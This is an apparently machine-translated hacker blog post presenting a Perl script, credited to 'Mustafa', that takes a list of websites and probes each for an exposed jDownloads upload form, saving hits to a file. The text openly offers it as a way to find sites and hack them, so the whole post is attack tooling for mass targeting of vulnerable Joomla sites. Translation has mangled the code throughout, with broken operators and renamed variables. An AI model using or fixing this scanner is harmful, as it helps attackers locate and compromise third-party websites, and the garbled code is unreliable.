JDownloads File Upload Vulnerability Scanner

"jDownloads File Upload Vulnerability" I'll give you this, I give information about and exploit exploits also find sites with open JDownloader with this exploit will be easier for your business to easily hackleyebilirsiniz.exploit with our previous exploits PERL is an exploit in the language. Your computer PERL place



#! / Usr / bin / perl
################################################
# Must @ f @ - http://www.mustafatopal.org #
# JDownloads File Upload Vulnerability Scanner #
################################################

use HTTP :: Request;
use LWP :: Simple;
use LWP :: UserAgent;


if ($ ^ O = ~ / mswin32 /) {system ("cls"); system ("color c");
} Else {system ("clear"); }
print "\ t [+] ------------------------------------------- ------------- [+] \ n ";
print "\ t [!] jDownloads File Upload Vulnerability Scanner [!] \ n";
print "\ t [!] Coded by Mustafa - http://www.mustafatopal.org [!] \ n";
print "\ t [!] Register File A ddz.txt [!] \ n";
print "\ t [+] ------------------------------------------- ------------- [+] \ n ";
print "\ n \ n \ t Total: $ 0 list.txt perl \ n \ n";

open (tarrget, "<$ ARGV [0]") or die "$!";
while (<tarrget>) {
chomp ($ _);
$ Target = $ _;
if ($ target! ~ / http: \ / \ //)
{
$ Target = "http: // $ target";
}

$ Website = $ target. "/ Index.php? Option = com_jdownloads & Itemid = 0 & view = upload";

$ Req = HTTP :: Request-> new (GET => $ website);
$ Ua = LWP :: useragent-> new ();
$ UA-> timeout (30);
$ Response = $ UA-> request ($ req);
if ($ response-> content = ~ / Soumettr A / ||
   $ Response-> content = ~ / Submit /

)
 {
 $ MessageName to = "Enabled Yes";
open (TEXT, '>> ddz.txt');
TEXT print "$ target => $ MessageName to \ n";
close (TEXT);
}
else {
$ MessageName to = "Enabled No";
}
print ">> $ target => $ MessageName to \ n";
}